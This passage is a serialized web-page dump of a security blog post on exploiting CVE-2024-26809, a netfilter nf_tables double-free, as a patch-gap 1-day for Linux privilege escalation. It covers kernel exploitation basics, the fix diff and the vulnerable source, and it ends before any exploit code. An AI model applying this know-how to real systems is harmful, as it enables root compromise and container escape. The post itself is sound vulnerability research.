#007bff;",[105550],{"type":32,"value":102231},{"type":26,"tag":2044,"props":105552,"children":105553},{},[105554],{"type":26,"tag":163,"props":105555,"children":105558},{"href":105556,"rel":105557,":style":105548},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[167],[105559],{"type":32,"value":104171},{"type":26,"tag":2044,"props":105561,"children":105562},{},[105563],{"type":26,"tag":163,"props":105564,"children":105567},{"href":105565,"rel":105566,":style":105548},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[167],[105568],{"type":32,"value":105569},"primary_fungible_store::withdraw",{"type":26,"tag":2044,"props":105571,"children":105572},{},[105573],{"type":26,"tag":163,"props":105574,"children":105577},{"href":105575,"rel":105576,":style":105548},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[167],[105578],{"type":32,"value":105579},"coin::withdraw",{"type":26,"tag":163,"props":105581,"children":105583},{"href":98837,"ariaLabel":98838,"className":105582,"dataFootnoteBackref":8},[98840],[105584],{"type":32,"value":98843},{"type":26,"tag":9282,"props":105586,"children":105587},{},[105588],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":105590},[105591,105592,105593,105596,105601,105602,105603,105604],{"id":98900,"depth":6770,"text":98903},{"id":99450,"depth":6770,"text":99453},{"id":100009,"depth":6770,"text":100012,"children":105594},[105595],{"id":100525,"depth":6779,"text":100528},{"id":100784,"depth":6770,"text":100787,"children":105597},[105598,105599,105600],{"id":100827,"depth":6779,"text":100830},{"id":101532,"depth":6779,"text":101535},{"id":103195,"depth":6779,"text":103198},{"id":103726,"depth":6770,"text":103729},{"id":104709,"depth":6770,"text":104712},{"id":9272,"depth":6770,"text":9275},{"id":98393,"depth":6770,"text":98815},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":105609,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":105610,"description":105611,"author":105612,"image":105613,"date":105617,"isFeatured":17,"tags":105618,"onBlogPage":17,"body":105621,"_type":6799,"_id":115957,"_source":6801,"_file":115958,"_stem":115959,"_extension":6804},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":105614,"height":105615,"width":105616},"/posts/netfilter-universal-root-1-day/cover.png",1019,1400,"2024-11-25",[105619,105620],"kernal","linux",{"type":23,"children":105622,"toc":115925},[105623,105636,105650,105655,105661,105670,105675,105681,105686,105704,105718,105727,105760,105765,105771,105790,105823,105829,105842,106051,106118,106675,106694,106917,106976,106982,107002,107042,107229,107234,107385,107441,107446,107956,107975,108244,108270,108779,108846,108852,108888,108893,109159,109192,109204,109231,109243,109248,109254,109275,109281,109302,109325,110154,110160,110200,110737,110748,110782,110848,110901,111131,111137,111181,111643,111649,111660,111690,111773,111778,111783,111819,111869,111900,112455,112461,112478,112484,112489,112495,112523,112715,112735,112751,113343,113349,113383,113406,113418,113424,113452,114048,114073,115040,115051,115064,115077,115837,115851,115857,115869,115874,115902,115907,115911,115916,115921],{"type":26,"tag":39,"props":105624,"children":105625},{},[105626,105628,105635],{"type":32,"value":105627},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":26,"tag":163,"props":105629,"children":105632},{"href":105630,"rel":105631},"https://google.github.io/security-research/kernelctf/rules.html",[167],[105633],{"type":32,"value":105634},"KernelCTF VRP",{"type":32,"value":180},{"type":26,"tag":39,"props":105637,"children":105638},{},[105639,105641,105648],{"type":32,"value":105640},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":26,"tag":163,"props":105642,"children":105645},{"href":105643,"rel":105644},"https://github.com/conlonialC",[167],[105646],{"type":32,"value":105647},"lonial con",{"type":32,"value":105649},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":26,"tag":39,"props":105651,"children":105652},{},[105653],{"type":32,"value":105654},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":26,"tag":27,"props":105656,"children":105658},{"id":105657},"the-kernel",[105659],{"type":32,"value":105660},"The kernel",{"type":26,"tag":39,"props":105662,"children":105663},{},[105664,105666],{"type":32,"value":105665},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":26,"tag":6468,"props":105667,"children":105669},{"alt":9464,"src":105668},"/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":26,"tag":39,"props":105671,"children":105672},{},[105673],{"type":32,"value":105674},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":26,"tag":607,"props":105676,"children":105678},{"id":105677},"kernel-exploitation",[105679],{"type":32,"value":105680},"Kernel exploitation",{"type":26,"tag":39,"props":105682,"children":105683},{},[105684],{"type":32,"value":105685},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":26,"tag":2040,"props":105687,"children":105688},{},[105689,105694,105699],{"type":26,"tag":2044,"props":105690,"children":105691},{},[105692],{"type":32,"value":105693},"Trigger some memory corruption in some kernel subsystem",{"type":26,"tag":2044,"props":105695,"children":105696},{},[105697],{"type":32,"value":105698},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":26,"tag":2044,"props":105700,"children":105701},{},[105702],{"type":32,"value":105703},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":26,"tag":39,"props":105705,"children":105706},{},[105707,105709,105716],{"type":32,"value":105708},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":26,"tag":163,"props":105710,"children":105713},{"href":105711,"rel":105712},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[167],[105714],{"type":32,"value":105715},"blog post",{"type":32,"value":105717}," to become more familiar with the topic.",{"type":26,"tag":27,"props":105719,"children":105721},{"id":105720},"nf_tables",[105722],{"type":26,"tag":83,"props":105723,"children":105725},{"className":105724},[],[105726],{"type":32,"value":105720},{"type":26,"tag":39,"props":105728,"children":105729},{},[105730,105735,105737,105743,105744,105750,105752,105758],{"type":26,"tag":83,"props":105731,"children":105733},{"className":105732},[],[105734],{"type":32,"value":105720},{"type":32,"value":105736}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":26,"tag":163,"props":105738,"children":105741},{"href":105739,"rel":105740},"https://pwning.tech/nftables",[167],[105742],{"type":32,"value":185},{"type":32,"value":7599},{"type":26,"tag":163,"props":105745,"children":105748},{"href":105746,"rel":105747},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[167],[105749],{"type":32,"value":332},{"type":32,"value":105751},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":26,"tag":83,"props":105753,"children":105755},{"className":105754},[],[105756],{"type":32,"value":105757},"nf_table",{"type":32,"value":105759}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":26,"tag":39,"props":105761,"children":105762},{},[105763],{"type":32,"value":105764},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":26,"tag":607,"props":105766,"children":105768},{"id":105767},"transactions",[105769],{"type":32,"value":105770},"Transactions",{"type":26,"tag":39,"props":105772,"children":105773},{},[105774,105776,105781,105783,105788],{"type":32,"value":105775},"A transaction is an interaction that updates ",{"type":26,"tag":83,"props":105777,"children":105779},{"className":105778},[],[105780],{"type":32,"value":105720},{"type":32,"value":105782}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":26,"tag":83,"props":105784,"children":105786},{"className":105785},[],[105787],{"type":32,"value":105720},{"type":32,"value":105789}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":26,"tag":2040,"props":105791,"children":105792},{},[105793,105803,105813],{"type":26,"tag":2044,"props":105794,"children":105795},{},[105796,105801],{"type":26,"tag":9348,"props":105797,"children":105798},{},[105799],{"type":32,"value":105800},"Control plane",{"type":32,"value":105802},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":26,"tag":2044,"props":105804,"children":105805},{},[105806,105811],{"type":26,"tag":9348,"props":105807,"children":105808},{},[105809],{"type":32,"value":105810},"Commit path",{"type":32,"value":105812},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":26,"tag":2044,"props":105814,"children":105815},{},[105816,105821],{"type":26,"tag":9348,"props":105817,"children":105818},{},[105819],{"type":32,"value":105820},"Abort path",{"type":32,"value":105822},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":26,"tag":27,"props":105824,"children":105826},{"id":105825},"vulnerability-details",[105827],{"type":32,"value":105828},"Vulnerability details",{"type":26,"tag":39,"props":105830,"children":105831},{},[105832,105834,105840],{"type":32,"value":105833},"Moving on, let's check out the ",{"type":26,"tag":163,"props":105835,"children":105838},{"href":105836,"rel":105837},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[167],[105839],{"type":32,"value":8787},{"type":32,"value":105841}," that fixed the bug.",{"type":26,"tag":207,"props":105843,"children":105845},{"className":76068,"code":105844,"language":76067,"meta":8,"style":8},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[105846],{"type":26,"tag":83,"props":105847,"children":105848},{"__ignoreMap":8},[105849,105857,105865,105873,105881,105889,105896,105904,105911,105919,105927,105935,105943,105950,105958,105966,105974,105982,105990,105998,106005,106013,106021,106029,106036,106043],{"type":26,"tag":217,"props":105850,"children":105851},{"class":7028,"line":7029},[105852],{"type":26,"tag":217,"props":105853,"children":105854},{"style":7154},[105855],{"type":32,"value":105856},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":26,"tag":217,"props":105858,"children":105859},{"class":7028,"line":6770},[105860],{"type":26,"tag":217,"props":105861,"children":105862},{"style":7048},[105863],{"type":32,"value":105864},"index c0ceea068936a6..df8de509024637 100644\n",{"type":26,"tag":217,"props":105866,"children":105867},{"class":7028,"line":6779},[105868],{"type":26,"tag":217,"props":105869,"children":105870},{"style":7154},[105871],{"type":32,"value":105872},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":26,"tag":217,"props":105874,"children":105875},{"class":7028,"line":7140},[105876],{"type":26,"tag":217,"props":105877,"children":105878},{"style":7154},[105879],{"type":32,"value":105880},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":26,"tag":217,"props":105882,"children":105883},{"class":7028,"line":7165},[105884],{"type":26,"tag":217,"props":105885,"children":105886},{"style":7048},[105887],{"type":32,"value":105888},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":26,"tag":217,"props":105890,"children":105891},{"class":7028,"line":7178},[105892],{"type":26,"tag":217,"props":105893,"children":105894},{"emptyLinePlaceholder":17},[105895],{"type":32,"value":7817},{"type":26,"tag":217,"props":105897,"children":105898},{"class":7028,"line":7389},[105899],{"type":26,"tag":217,"props":105900,"children":105901},{"style":7048},[105902],{"type":32,"value":105903},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":26,"tag":217,"props":105905,"children":105906},{"class":7028,"line":7406},[105907],{"type":26,"tag":217,"props":105908,"children":105909},{"emptyLinePlaceholder":17},[105910],{"type":32,"value":7817},{"type":26,"tag":217,"props":105912,"children":105913},{"class":7028,"line":7439},[105914],{"type":26,"tag":217,"props":105915,"children":105916},{"style":7048},[105917],{"type":32,"value":105918},"  if (m) {\n",{"type":26,"tag":217,"props":105920,"children":105921},{"class":7028,"line":7487},[105922],{"type":26,"tag":217,"props":105923,"children":105924},{"style":7048},[105925],{"type":32,"value":105926},"   rcu_barrier();\n",{"type":26,"tag":217,"props":105928,"children":105929},{"class":7028,"line":7524},[105930],{"type":26,"tag":217,"props":105931,"children":105932},{"style":7048},[105933],{"type":32,"value":105934}," \n",{"type":26,"tag":217,"props":105936,"children":105937},{"class":7028,"line":7553},[105938],{"type":26,"tag":217,"props":105939,"children":105940},{"style":7338},[105941],{"type":32,"value":105942},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":26,"tag":217,"props":105944,"children":105945},{"class":7028,"line":7570},[105946],{"type":26,"tag":217,"props":105947,"children":105948},{"style":7338},[105949],{"type":32,"value":34881},{"type":26,"tag":217,"props":105951,"children":105952},{"class":7028,"line":7621},[105953],{"type":26,"tag":217,"props":105954,"children":105955},{"style":7048},[105956],{"type":32,"value":105957},"   for_each_possible_cpu(cpu)\n",{"type":26,"tag":217,"props":105959,"children":105960},{"class":7028,"line":7672},[105961],{"type":26,"tag":217,"props":105962,"children":105963},{"style":7048},[105964],{"type":32,"value":105965},"    pipapo_free_scratch(m, cpu);\n",{"type":26,"tag":217,"props":105967,"children":105968},{"class":7028,"line":7681},[105969],{"type":26,"tag":217,"props":105970,"children":105971},{"style":7048},[105972],{"type":32,"value":105973},"   free_percpu(m->scratch);\n",{"type":26,"tag":217,"props":105975,"children":105976},{"class":7028,"line":7754},[105977],{"type":26,"tag":217,"props":105978,"children":105979},{"style":7048},[105980],{"type":32,"value":105981},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":26,"tag":217,"props":105983,"children":105984},{"class":7028,"line":7784},[105985],{"type":26,"tag":217,"props":105986,"children":105987},{"style":7048},[105988],{"type":32,"value":105989},"  if (priv->clone) {\n",{"type":26,"tag":217,"props":105991,"children":105992},{"class":7028,"line":7802},[105993],{"type":26,"tag":217,"props":105994,"children":105995},{"style":7048},[105996],{"type":32,"value":105997},"   m = priv->clone;\n",{"type":26,"tag":217,"props":105999,"children":106000},{"class":7028,"line":7811},[106001],{"type":26,"tag":217,"props":106002,"children":106003},{"style":7048},[106004],{"type":32,"value":105934},{"type":26,"tag":217,"props":106006,"children":106007},{"class":7028,"line":7820},[106008],{"type":26,"tag":217,"props":106009,"children":106010},{"style":7338},[106011],{"type":32,"value":106012},"-  if (priv->dirty)\n",{"type":26,"tag":217,"props":106014,"children":106015},{"class":7028,"line":7844},[106016],{"type":26,"tag":217,"props":106017,"children":106018},{"style":7338},[106019],{"type":32,"value":106020},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":26,"tag":217,"props":106022,"children":106023},{"class":7028,"line":7910},[106024],{"type":26,"tag":217,"props":106025,"children":106026},{"style":7130},[106027],{"type":32,"value":106028},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":26,"tag":217,"props":106030,"children":106031},{"class":7028,"line":7954},[106032],{"type":26,"tag":217,"props":106033,"children":106034},{"style":7048},[106035],{"type":32,"value":105934},{"type":26,"tag":217,"props":106037,"children":106038},{"class":7028,"line":7985},[106039],{"type":26,"tag":217,"props":106040,"children":106041},{"style":7048},[106042],{"type":32,"value":105957},{"type":26,"tag":217,"props":106044,"children":106045},{"class":7028,"line":8027},[106046],{"type":26,"tag":217,"props":106047,"children":106048},{"style":7048},[106049],{"type":32,"value":106050},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":26,"tag":39,"props":106052,"children":106053},{},[106054,106056,106062,106063,106069,106071,106077,106079,106085,106087,106092,106094,106100,106102,106108,106110,106116],{"type":32,"value":106055},"If the ",{"type":26,"tag":83,"props":106057,"children":106059},{"className":106058},[],[106060],{"type":32,"value":106061},"priv->dirty",{"type":32,"value":1308},{"type":26,"tag":83,"props":106064,"children":106066},{"className":106065},[],[106067],{"type":32,"value":106068},"priv->clone",{"type":32,"value":106070}," variables are set, ",{"type":26,"tag":83,"props":106072,"children":106074},{"className":106073},[],[106075],{"type":32,"value":106076},"nft_set_pipapo_match_destroy()",{"type":32,"value":106078}," is called twice, once with ",{"type":26,"tag":83,"props":106080,"children":106082},{"className":106081},[],[106083],{"type":32,"value":106084},"priv->match",{"type":32,"value":106086}," as an argument, and then again with ",{"type":26,"tag":83,"props":106088,"children":106090},{"className":106089},[],[106091],{"type":32,"value":106068},{"type":32,"value":106093},". Looking at what this function does, we can see that it is iterating over the ",{"type":26,"tag":83,"props":106095,"children":106097},{"className":106096},[],[106098],{"type":32,"value":106099},"setelem",{"type":32,"value":106101},"s of the ",{"type":26,"tag":83,"props":106103,"children":106105},{"className":106104},[],[106106],{"type":32,"value":106107},"set",{"type":32,"value":106109}," and calling ",{"type":26,"tag":83,"props":106111,"children":106113},{"className":106112},[],[106114],{"type":32,"value":106115},"nf_tables_set_elem_destroy()",{"type":32,"value":106117}," for each of them.",{"type":26,"tag":207,"props":106119,"children":106121},{"className":9574,"code":106120,"language":2255,"meta":8,"style":8},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[106122],{"type":26,"tag":83,"props":106123,"children":106124},{"__ignoreMap":8},[106125,106170,106198,106223,106230,106250,106263,106270,106364,106372,106379,106434,106456,106463,106565,106577,106584,106620,106627,106661,106668],{"type":26,"tag":217,"props":106126,"children":106127},{"class":7028,"line":7029},[106128,106132,106136,106141,106145,106149,106153,106158,106162,106166],{"type":26,"tag":217,"props":106129,"children":106130},{"style":7154},[106131],{"type":32,"value":9987},{"type":26,"tag":217,"props":106133,"children":106134},{"style":7154},[106135],{"type":32,"value":8936},{"type":26,"tag":217,"props":106137,"children":106138},{"style":7064},[106139],{"type":32,"value":106140}," nft_set_pipapo_match_destroy",{"type":26,"tag":217,"props":106142,"children":106143},{"style":7048},[106144],{"type":32,"value":1851},{"type":26,"tag":217,"props":106146,"children":106147},{"style":7154},[106148],{"type":32,"value":74748},{"type":26,"tag":217,"props":106150,"children":106151},{"style":7154},[106152],{"type":32,"value":77038},{"type":26,"tag":217,"props":106154,"children":106155},{"style":7048},[106156],{"type":32,"value":106157}," nft_ctx ",{"type":26,"tag":217,"props":106159,"children":106160},{"style":7149},[106161],{"type":32,"value":10006},{"type":26,"tag":217,"props":106163,"children":106164},{"style":7054},[106165],{"type":32,"value":79895},{"type":26,"tag":217,"props":106167,"children":106168},{"style":7048},[106169],{"type":32,"value":10953},{"type":26,"tag":217,"props":106171,"children":106172},{"class":7028,"line":6770},[106173,106177,106181,106186,106190,106194],{"type":26,"tag":217,"props":106174,"children":106175},{"style":7154},[106176],{"type":32,"value":68214},{"type":26,"tag":217,"props":106178,"children":106179},{"style":7154},[106180],{"type":32,"value":77038},{"type":26,"tag":217,"props":106182,"children":106183},{"style":7048},[106184],{"type":32,"value":106185}," nft_set ",{"type":26,"tag":217,"props":106187,"children":106188},{"style":7149},[106189],{"type":32,"value":10006},{"type":26,"tag":217,"props":106191,"children":106192},{"style":7054},[106193],{"type":32,"value":106107},{"type":26,"tag":217,"props":106195,"children":106196},{"style":7048},[106197],{"type":32,"value":10953},{"type":26,"tag":217,"props":106199,"children":106200},{"class":7028,"line":6779},[106201,106206,106211,106215,106219],{"type":26,"tag":217,"props":106202,"children":106203},{"style":7154},[106204],{"type":32,"value":106205},"      struct",{"type":26,"tag":217,"props":106207,"children":106208},{"style":7048},[106209],{"type":32,"value":106210}," nft_pipapo_match ",{"type":26,"tag":217,"props":106212,"children":106213},{"style":7149},[106214],{"type":32,"value":10006},{"type":26,"tag":217,"props":106216,"children":106217},{"style":7054},[106218],{"type":32,"value":70537},{"type":26,"tag":217,"props":106220,"children":106221},{"style":7048},[106222],{"type":32,"value":10025},{"type":26,"tag":217,"props":106224,"children":106225},{"class":7028,"line":7140},[106226],{"type":26,"tag":217,"props":106227,"children":106228},{"style":7048},[106229],{"type":32,"value":10033},{"type":26,"tag":217,"props":106231,"children":106232},{"class":7028,"line":7165},[106233,106237,106242,106246],{"type":26,"tag":217,"props":106234,"children":106235},{"style":7154},[106236],{"type":32,"value":77038},{"type":26,"tag":217,"props":106238,"children":106239},{"style":7048},[106240],{"type":32,"value":106241}," nft_pipapo_field ",{"type":26,"tag":217,"props":106243,"children":106244},{"style":7149},[106245],{"type":32,"value":10006},{"type":26,"tag":217,"props":106247,"children":106248},{"style":7048},[106249],{"type":32,"value":41133},{"type":26,"tag":217,"props":106251,"children":106252},{"class":7028,"line":7178},[106253,106258],{"type":26,"tag":217,"props":106254,"children":106255},{"style":7154},[106256],{"type":32,"value":106257}," int",{"type":26,"tag":217,"props":106259,"children":106260},{"style":7048},[106261],{"type":32,"value":106262}," i, r;\n",{"type":26,"tag":217,"props":106264,"children":106265},{"class":7028,"line":7389},[106266],{"type":26,"tag":217,"props":106267,"children":106268},{"emptyLinePlaceholder":17},[106269],{"type":32,"value":7817},{"type":26,"tag":217,"props":106271,"children":106272},{"class":7028,"line":7406},[106273,106278,106283,106287,106291,106296,106300,106305,106309,106313,106317,106321,106325,106329,106334,106338,106342,106347,106351,106356,106360],{"type":26,"tag":217,"props":106274,"children":106275},{"style":7042},[106276],{"type":32,"value":106277}," for",{"type":26,"tag":217,"props":106279,"children":106280},{"style":7048},[106281],{"type":32,"value":106282}," (i ",{"type":26,"tag":217,"props":106284,"children":106285},{"style":7149},[106286],{"type":32,"value":267},{"type":26,"tag":217,"props":106288,"children":106289},{"style":7130},[106290],{"type":32,"value":9922},{"type":26,"tag":217,"props":106292,"children":106293},{"style":7048},[106294],{"type":32,"value":106295},", f ",{"type":26,"tag":217,"props":106297,"children":106298},{"style":7149},[106299],{"type":32,"value":267},{"type":26,"tag":217,"props":106301,"children":106302},{"style":7054},[106303],{"type":32,"value":106304}," m",{"type":26,"tag":217,"props":106306,"children":106307},{"style":7048},[106308],{"type":32,"value":10115},{"type":26,"tag":217,"props":106310,"children":106311},{"style":7054},[106312],{"type":32,"value":19826},{"type":26,"tag":217,"props":106314,"children":106315},{"style":7048},[106316],{"type":32,"value":11068},{"type":26,"tag":217,"props":106318,"children":106319},{"style":7149},[106320],{"type":32,"value":7289},{"type":26,"tag":217,"props":106322,"children":106323},{"style":7054},[106324],{"type":32,"value":106304},{"type":26,"tag":217,"props":106326,"children":106327},{"style":7048},[106328],{"type":32,"value":10115},{"type":26,"tag":217,"props":106330,"children":106331},{"style":7054},[106332],{"type":32,"value":106333},"field_count",{"type":26,"tag":217,"props":106335,"children":106336},{"style":7149},[106337],{"type":32,"value":12618},{"type":26,"tag":217,"props":106339,"children":106340},{"style":7130},[106341],{"type":32,"value":9742},{"type":26,"tag":217,"props":106343,"children":106344},{"style":7048},[106345],{"type":32,"value":106346},"; i",{"type":26,"tag":217,"props":106348,"children":106349},{"style":7149},[106350],{"type":32,"value":11082},{"type":26,"tag":217,"props":106352,"children":106353},{"style":7048},[106354],{"type":32,"value":106355},", f",{"type":26,"tag":217,"props":106357,"children":106358},{"style":7149},[106359],{"type":32,"value":11082},{"type":26,"tag":217,"props":106361,"children":106362},{"style":7048},[106363],{"type":32,"value":10025},{"type":26,"tag":217,"props":106365,"children":106366},{"class":7028,"line":7439},[106367],{"type":26,"tag":217,"props":106368,"children":106369},{"style":7048},[106370],{"type":32,"value":106371},"  ;\n",{"type":26,"tag":217,"props":106373,"children":106374},{"class":7028,"line":7487},[106375],{"type":26,"tag":217,"props":106376,"children":106377},{"emptyLinePlaceholder":17},[106378],{"type":32,"value":7817},{"type":26,"tag":217,"props":106380,"children":106381},{"class":7028,"line":7524},[106382,106386,106391,106395,106399,106404,106408,106412,106416,106421,106426,106430],{"type":26,"tag":217,"props":106383,"children":106384},{"style":7042},[106385],{"type":32,"value":106277},{"type":26,"tag":217,"props":106387,"children":106388},{"style":7048},[106389],{"type":32,"value":106390}," (r ",{"type":26,"tag":217,"props":106392,"children":106393},{"style":7149},[106394],{"type":32,"value":267},{"type":26,"tag":217,"props":106396,"children":106397},{"style":7130},[106398],{"type":32,"value":9922},{"type":26,"tag":217,"props":106400,"children":106401},{"style":7048},[106402],{"type":32,"value":106403},"; r ",{"type":26,"tag":217,"props":106405,"children":106406},{"style":7149},[106407],{"type":32,"value":7289},{"type":26,"tag":217,"props":106409,"children":106410},{"style":7054},[106411],{"type":32,"value":28564},{"type":26,"tag":217,"props":106413,"children":106414},{"style":7048},[106415],{"type":32,"value":10115},{"type":26,"tag":217,"props":106417,"children":106418},{"style":7054},[106419],{"type":32,"value":106420},"rules",{"type":26,"tag":217,"props":106422,"children":106423},{"style":7048},[106424],{"type":32,"value":106425},"; r",{"type":26,"tag":217,"props":106427,"children":106428},{"style":7149},[106429],{"type":32,"value":11082},{"type":26,"tag":217,"props":106431,"children":106432},{"style":7048},[106433],{"type":32,"value":7618},{"type":26,"tag":217,"props":106435,"children":106436},{"class":7028,"line":7553},[106437,106442,106447,106451],{"type":26,"tag":217,"props":106438,"children":106439},{"style":7154},[106440],{"type":32,"value":106441},"  struct",{"type":26,"tag":217,"props":106443,"children":106444},{"style":7048},[106445],{"type":32,"value":106446}," nft_pipapo_elem ",{"type":26,"tag":217,"props":106448,"children":106449},{"style":7149},[106450],{"type":32,"value":10006},{"type":26,"tag":217,"props":106452,"children":106453},{"style":7048},[106454],{"type":32,"value":106455},"e;\n",{"type":26,"tag":217,"props":106457,"children":106458},{"class":7028,"line":7570},[106459],{"type":26,"tag":217,"props":106460,"children":106461},{"emptyLinePlaceholder":17},[106462],{"type":32,"value":7817},{"type":26,"tag":217,"props":106464,"children":106465},{"class":7028,"line":7621},[106466,106470,106474,106478,106482,106486,106490,106494,106498,106502,106506,106510,106515,106520,106524,106528,106532,106536,106540,106544,106548,106552,106557,106561],{"type":26,"tag":217,"props":106467,"children":106468},{"style":7042},[106469],{"type":32,"value":37312},{"type":26,"tag":217,"props":106471,"children":106472},{"style":7048},[106473],{"type":32,"value":106390},{"type":26,"tag":217,"props":106475,"children":106476},{"style":7149},[106477],{"type":32,"value":7289},{"type":26,"tag":217,"props":106479,"children":106480},{"style":7054},[106481],{"type":32,"value":28564},{"type":26,"tag":217,"props":106483,"children":106484},{"style":7048},[106485],{"type":32,"value":10115},{"type":26,"tag":217,"props":106487,"children":106488},{"style":7054},[106489],{"type":32,"value":106420},{"type":26,"tag":217,"props":106491,"children":106492},{"style":7149},[106493],{"type":32,"value":12618},{"type":26,"tag":217,"props":106495,"children":106496},{"style":7130},[106497],{"type":32,"value":9742},{"type":26,"tag":217,"props":106499,"children":106500},{"style":7149},[106501],{"type":32,"value":38514},{"type":26,"tag":217,"props":106503,"children":106504},{"style":7054},[106505],{"type":32,"value":28564},{"type":26,"tag":217,"props":106507,"children":106508},{"style":7048},[106509],{"type":32,"value":10115},{"type":26,"tag":217,"props":106511,"children":106512},{"style":7054},[106513],{"type":32,"value":106514},"mt",{"type":26,"tag":217,"props":106516,"children":106517},{"style":7048},[106518],{"type":32,"value":106519},"[r 